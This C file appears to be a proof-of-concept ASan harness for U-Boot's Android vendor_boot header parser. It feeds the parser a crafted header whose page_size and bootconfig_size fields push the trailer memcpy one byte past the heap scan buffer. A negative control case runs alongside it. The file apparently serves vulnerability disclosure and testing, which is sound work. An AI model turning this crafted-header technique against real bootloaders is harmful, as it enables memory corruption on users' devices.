/*
 * Focused ASan harness for the U-Boot android bootmeth vendor_boot header
 * parser. It drives the REAL upstream functions
 *   is_android_vendor_boot_image_header()
 *   android_vendor_boot_image_v3_v4_parse_hdr()
 *   add_trailer() / checksum() / is_trailer_present()
 * which are extracted verbatim at build time from the pinned tree into
 * gen_impl.c, together with the real struct andr_vnd_boot_img_hdr and the
 * real BOOTCONFIG_* / ANDR_VENDOR_BOOT_* constants in gen_defs.h.
 *
 * Only the platform glue those functions need is modelled here:
 *   - map_to_sysmem / map_sysmem / unmap_sysmem are identity, exactly as
 *     they behave on real hardware (a virtual address IS the physical one).
 *   - ALIGN is U-Boot's power-of-two align macro.
 *   - u8/u32/u64/ulong are the kernel-style fixed-width types.
 *
 * The harness allocates the vendor_boot scan buffer the same way
 * scan_vendor_boot_part() in boot/bootmeth_android.c does:
 *   num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), blksz);
 *   bufsz    = num_blks * blksz;   (blksz = 512 -> 2560 bytes for a 2128 hdr)
 * It then hands the parser an attacker-crafted header and lets ASan witness
 * the trailer memcpy landing past that buffer.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>

/* ---- kernel-style types the extracted code expects ---- */
typedef uint8_t  u8;
typedef uint32_t u32;
typedef uint64_t u64;
typedef unsigned long ulong;

/* ---- U-Boot align macro (power-of-two) ---- */
#define ALIGN(x, a)		(((x) + ((a) - 1)) & ~(((ulong)(a)) - 1))
#define DIV_ROUND_UP(n, d)	(((n) + (d) - 1) / (d))

/*
 * map_to_sysmem()/map_sysmem() are identity on real hardware: the pointer
 * the parser dereferences is the very address it computes offsets from.
 */
static inline ulong map_to_sysmem(const void *ptr)
{
	return (ulong)(uintptr_t)ptr;
}
static inline void *map_sysmem(ulong paddr, unsigned long len)
{
	(void)len;
	return (void *)(uintptr_t)paddr;
}
static inline void unmap_sysmem(const void *vaddr)
{
	(void)vaddr;
}

/* Real upstream types/constants, extracted verbatim from include/. */
#include "gen_defs.h"
/* Real upstream functions, extracted verbatim from boot/image-android.c. */
#include "gen_impl.c"

#ifndef GITPIN
#define GITPIN "unknown"
#endif

/* Block size of a typical removable device; drives the scan-buffer maths. */
#define BLKSZ 512

static char *alloc_scan_buffer(ulong *out_bufsz)
{
	ulong num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), BLKSZ);
	ulong bufsz = num_blks * BLKSZ;
	char *buf = malloc(bufsz);

	if (!buf) {
		perror("malloc");
		exit(2);
	}
	memset(buf, 0, bufsz);
	*out_bufsz = bufsz;
	return buf;
}

static void fill_header(void *buf, u32 page_size, u32 bootconfig_size)
{
	struct andr_vnd_boot_img_hdr *h = buf;

	/* The ONLY gate scan_vendor_boot_part() applies: the 8-byte magic. */
	memcpy(h->magic, VENDOR_BOOT_MAGIC, ANDR_VENDOR_BOOT_MAGIC_SIZE);
	h->header_version = 4;			/* v4 path (>3) */
	h->page_size = page_size;		/* attacker u32, unchecked */
	h->vendor_ramdisk_size = 0;		/* attacker u32, unchecked */
	h->dtb_size = 0;			/* attacker u32, unchecked */
	h->vendor_ramdisk_table_size = 0;	/* attacker u32, unchecked */
	h->bootconfig_size = bootconfig_size;	/* attacker u32, unchecked */
}

static void run_case(const char *label, u32 page_size, u32 bootconfig_size)
{
	ulong bufsz;
	char *buf = alloc_scan_buffer(&bufsz);
	struct andr_image_data data;

	fill_header(buf, page_size, bootconfig_size);

	printf("== %s ==\n", label);
	printf("  scan buffer         : malloc(%lu)  [buf .. buf+%lu)\n",
	       bufsz, bufsz);
	printf("  hdr magic gate      : is_android_vendor_boot_image_header() = %s\n",
	       is_android_vendor_boot_image_header(buf) ? "PASS" : "fail");
	printf("  header_version      : 4\n");
	printf("  page_size (u32)     : %u\n", page_size);
	printf("  bootconfig_size(u32): %u\n", bootconfig_size);

	memset(&data, 0, sizeof(data));
	android_vendor_boot_image_v3_v4_parse_hdr((struct andr_vnd_boot_img_hdr *)buf,
						  &data);

	/* Reached only when nothing overflowed. */
	printf("  bootconfig_addr     : buf + %lu  (in-bounds: %s)\n",
	       data.bootconfig_addr - (ulong)buf,
	       (data.bootconfig_addr - (ulong)buf) < bufsz ? "yes" : "NO");
	printf("  trailer write end   : buf + %lu\n",
	       (data.bootconfig_addr - (ulong)buf) + data.bootconfig_size);
	printf("  --> parsed with no out-of-bounds access\n\n");

	free(buf);
}

int main(void)
{
	/* Unbuffered so stdout survives ASan's abort in the positive case. */
	setvbuf(stdout, NULL, _IONBF, 0);

	printf("##### pin #####\n%s\n\n", GITPIN);
	printf("### poc-android-vboot ###\n");
	printf("sizeof(struct andr_vnd_boot_img_hdr) = %lu\n\n",
	       (ulong)sizeof(struct andr_vnd_boot_img_hdr));

	/*
	 * NEGATIVE control: sane fields. page_size 256 puts bootconfig at
	 * offset 2304 inside the 2560-byte buffer; a small bootconfig_size
	 * (200) leaves room for the 20-byte trailer, so every read and the
	 * trailer write stay inside the allocation. Expect a clean parse.
	 */
	run_case("NEGATIVE control: bootconfig + trailer fit inside the buffer",
		 256, 200);

	/*
	 * POSITIVE: same page_size, but bootconfig_size = 256 makes the
	 * bootconfig region end exactly at the buffer boundary, so the
	 * appended trailer's first memcpy writes at buf+2560 -- one byte past
	 * the allocation. bootconfig_addr and every offset term came straight
	 * from the attacker header; the write target is attacker-controlled.
	 * Expect an ASan heap-buffer-overflow WRITE.
	 */
	printf("(next case drives the trailer write past the scan buffer)\n\n");
	run_case("POSITIVE: attacker fields drive the trailer write past the buffer",
		 256, 256);

	/* Not reached: ASan aborts inside the positive case. */
	printf("unexpectedly survived the positive case\n");
	return 0;
}